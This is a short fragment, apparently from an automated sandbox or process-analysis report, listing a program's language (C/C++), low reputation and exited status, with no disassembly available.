              Programmed in:C, C++ or other language
              Reputation:low
              Has exited:true

              Disassembly

              ⊘No disassembly